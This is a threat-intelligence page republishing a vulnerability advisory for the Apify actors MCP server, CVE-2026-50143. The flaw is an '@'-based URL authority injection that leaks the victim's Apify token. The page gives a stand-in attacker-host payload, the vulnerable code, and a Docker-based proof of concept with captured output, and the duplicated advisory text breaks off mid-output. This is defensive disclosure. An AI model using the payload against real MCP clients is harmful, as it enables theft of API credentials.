Actors mcp server: Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token (CVE-2026-50143)
## Actor MCP path authority injection leaks Apify token ### Summary `@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's `Authorization: Bearer <APIFY_TOKEN>` header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: **8.1 (High)**. ### Details `getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation: ```ts // src/mcp/actors.ts:44 return `${standbyUrl}${mcpServerPath}`; ``` `mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to: - begin with a `/` (relative path), - avoid an `@` character (userinfo/authority injection), or - resolve to the same origin as `standbyUrl`. When `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes: ``` https://[email protected]/mcp ``` Node.js's WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard. The constructed URL is forwarded to `connectMCPClient()` through three independent code paths: | Call site | Trigger | |---|---| | `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool | | `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool | | `src/mcp/server.ts:1047` | actor-mcp type tool loading | `connectMCPClient()` (`src/mcp/client.ts`) attaches the victim's Apify token as a bearer credential to every transport type: ```ts // src/mcp/client.ts:94 — SSEClientTransport requestInit authorization: `Bearer ${token}`, // src/mcp/client.ts:103 — SSE fetch callback headers.set('authorization', `Bearer ${token}`); // src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit authorization: `Bearer ${token}`, ``` There is no origin check anywhere between URL construction and the outbound HTTP request. **Full data-flow chain:** 1. `src/mcp/server.ts:811` — MCP `tools/call` request parameters are read. 2. `src/mcp/server.ts:816` — `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`. 3. `src/tools/core/call_actor_common.ts:489-497` — attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`. 4. `src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`. 5. `src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation. 6. `src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL. 7. `connectMCPClient()` is called with the injected URL and the victim's token. 8. `src/mcp/client.ts:94/103/124` — `Authorization: Bearer <APIFY_TOKEN>` is sent to the attacker's host. ### PoC **Environment requirements:** - Docker (network-isolated container; no external network access needed) - The repository at commit `4e2b185` checked out under the build context **Build and run:** ```bash # Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory) docker build -t vuln-001-poc \ -f vuln-001/Dockerfile \ /path/to/mcp_38_apify__actors-mcp-server # Run the exploit (--network none: fully air-gapped) docker run --rm --network none vuln-001-poc ``` The Dockerfile: 1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation). 2. Installs `@apify/[email protected]` dependencies under `pnpm`. 3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA. 4. Runs `exploit.mjs`, which: - Starts an HTTPS capture server on `127.0.0.1:31337`. - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`. - Calls `getActorMCPServerURL()` directly, producing `https://[email protected]:31337/mcp`. - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`). - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`. **Observed output (Phase 2 evidence):** ``` parsed.hostname : 127.0.0.1 [PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337 === STEP 2: attacker HTTPS server received request === Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_
AI Analysis
Technical Summary
@apify/actors-mcp-server versions before 0.10.11 build Actor standby URLs by concatenating a trusted base URL with an attacker-controlled webServerMcpPath from the Actor definition. This path is not validated to ensure it is a relative path or same-origin, allowing an attacker to craft a path containing '@' that injects a different authority (host) into the URL. The MCP client then sends the victim's Apify API token in the Authorization header to this attacker-controlled host. The vulnerability stems from improper URL construction and lack of origin checks, leading to exfiltration of sensitive tokens. The flaw is documented in CVE-2026-50143 with a CVSS v3.1 base score of 8.1 (High).
Potential Impact
An attacker who publishes a malicious Actor with a crafted webServerMcpPath can cause the victim's Apify API token to be sent to an attacker-controlled server. This token leakage can lead to unauthorized access to the victim's Apify account and resources. The vulnerability does not affect availability but impacts confidentiality and integrity due to token exposure and potential misuse.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid using untrusted Actor definitions or untrusted webServerMcpPath values. Monitor for updates from the @apify/actors-mcp-server maintainers and apply patches once released. Do not rely on the MCP client to validate or sanitize the webServerMcpPath field.
Actors mcp server: Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token (CVE-2026-50143)
Description
## Actor MCP path authority injection leaks Apify token ### Summary `@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's `Authorization: Bearer <APIFY_TOKEN>` header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: **8.1 (High)**. ### Details `getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation: ```ts // src/mcp/actors.ts:44 return `${standbyUrl}${mcpServerPath}`; ``` `mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to: - begin with a `/` (relative path), - avoid an `@` character (userinfo/authority injection), or - resolve to the same origin as `standbyUrl`. When `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes: ``` https://[email protected]/mcp ``` Node.js's WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard. The constructed URL is forwarded to `connectMCPClient()` through three independent code paths: | Call site | Trigger | |---|---| | `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool | | `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool | | `src/mcp/server.ts:1047` | actor-mcp type tool loading | `connectMCPClient()` (`src/mcp/client.ts`) attaches the victim's Apify token as a bearer credential to every transport type: ```ts // src/mcp/client.ts:94 — SSEClientTransport requestInit authorization: `Bearer ${token}`, // src/mcp/client.ts:103 — SSE fetch callback headers.set('authorization', `Bearer ${token}`); // src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit authorization: `Bearer ${token}`, ``` There is no origin check anywhere between URL construction and the outbound HTTP request. **Full data-flow chain:** 1. `src/mcp/server.ts:811` — MCP `tools/call` request parameters are read. 2. `src/mcp/server.ts:816` — `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`. 3. `src/tools/core/call_actor_common.ts:489-497` — attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`. 4. `src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`. 5. `src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation. 6. `src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL. 7. `connectMCPClient()` is called with the injected URL and the victim's token. 8. `src/mcp/client.ts:94/103/124` — `Authorization: Bearer <APIFY_TOKEN>` is sent to the attacker's host. ### PoC **Environment requirements:** - Docker (network-isolated container; no external network access needed) - The repository at commit `4e2b185` checked out under the build context **Build and run:** ```bash # Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory) docker build -t vuln-001-poc \ -f vuln-001/Dockerfile \ /path/to/mcp_38_apify__actors-mcp-server # Run the exploit (--network none: fully air-gapped) docker run --rm --network none vuln-001-poc ``` The Dockerfile: 1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation). 2. Installs `@apify/[email protected]` dependencies under `pnpm`. 3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA. 4. Runs `exploit.mjs`, which: - Starts an HTTPS capture server on `127.0.0.1:31337`. - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`. - Calls `getActorMCPServerURL()` directly, producing `https://[email protected]:31337/mcp`. - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`). - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`. **Observed output (Phase 2 evidence):** ``` parsed.hostname : 127.0.0.1 [PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337 === STEP 2: attacker HTTPS server received request === Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_
CVSS v3.1
Score 8.1high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
@apify/actors-mcp-server versions before 0.10.11 build Actor standby URLs by concatenating a trusted base URL with an attacker-controlled webServerMcpPath from the Actor definition. This path is not validated to ensure it is a relative path or same-origin, allowing an attacker to craft a path containing '@' that injects a different authority (host) into the URL. The MCP client then sends the victim's Apify API token in the Authorization header to this attacker-controlled host. The vulnerability stems from improper URL construction and lack of origin checks, leading to exfiltration of sensitive tokens. The flaw is documented in CVE-2026-50143 with a CVSS v3.1 base score of 8.1 (High).
Potential Impact
An attacker who publishes a malicious Actor with a crafted webServerMcpPath can cause the victim's Apify API token to be sent to an attacker-controlled server. This token leakage can lead to unauthorized access to the victim's Apify account and resources. The vulnerability does not affect availability but impacts confidentiality and integrity due to token exposure and potential misuse.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid using untrusted Actor definitions or untrusted webServerMcpPath values. Monitor for updates from the @apify/actors-mcp-server maintainers and apply patches once released. Do not rely on the MCP client to validate or sanitize the webServerMcpPath field.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-6gr2-qh89-hxwm
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-50143"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a45998227e9c797194186cb
Added to database: 07/01/2026, 22:49:38 UTC
Last enriched: 07/01/2026, 22:49:44 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 96
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.